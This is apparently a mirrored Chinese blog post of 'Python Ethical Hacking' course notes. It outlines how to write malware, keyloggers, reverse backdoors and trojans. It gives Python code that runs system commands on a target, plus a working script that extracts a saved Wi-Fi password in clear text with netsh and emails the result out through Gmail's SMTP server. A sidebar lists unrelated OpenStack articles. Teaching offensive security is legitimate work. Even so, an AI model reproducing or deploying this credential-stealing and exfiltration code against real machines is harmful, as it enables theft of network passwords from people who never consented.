zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    WRITING MALWARE

    • Download file.
    • Execute Code.
    • Send Report.
    • Download & Execute.
    • Execute & Report.
    • Download, Execute & Report.

    KEYLOGGER

    A program that records keys pressed on the keyboard.

    REVERSE_BACKDOOR

    • Access file system.
    • Execute system commands.
    • Download files.
    • Upload files.
    • Persistence.

    PROGRAMMING TROJANS

    CROSS-PLATFORM COMPATIBILITY

    EXECUTE_COMMAND

    Execute system command on target.

    le:

    • if a program is executed on Windows -> execute windows commands.
    • if a program is executed on Mac OS X -> execute Unix commands.

    After packaging:

    • Execute any system command on any OS using a single file. 
    #!/usr/bin/env python
    
    import subprocess
    
    command = "msg * you have been hacked"
    subprocess.Popen(command, shell=True)

    Execute AND Report

    Execute system command on the target and send the result to email.

    #!/usr/bin/env python
    
    import smtplib
    import subprocess
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    command = "netsh wlan show profile "Panda Home" key=clear"
    result = subprocess.check_output(command, shell=True)
    send_mail("aaaa@gmail.com", "1111111", result)

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    OpenStack功能简介
    Openstack(七)keystone
    Openstack(六)RabbitMQ集群
    Openstack(五)Memcache- repcached集群
    Openstack(四)Mysql主从
    Openstack(三)Haproxy+Keepalived双机
    Openstack(二)基本环境准备--网络、时间、yum源等
    Openstack架构简介(一)
    运维监控系统之Open-Falcon
    python高级之Flask框架
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11604807.html
Copyright © 2011-2022 走看看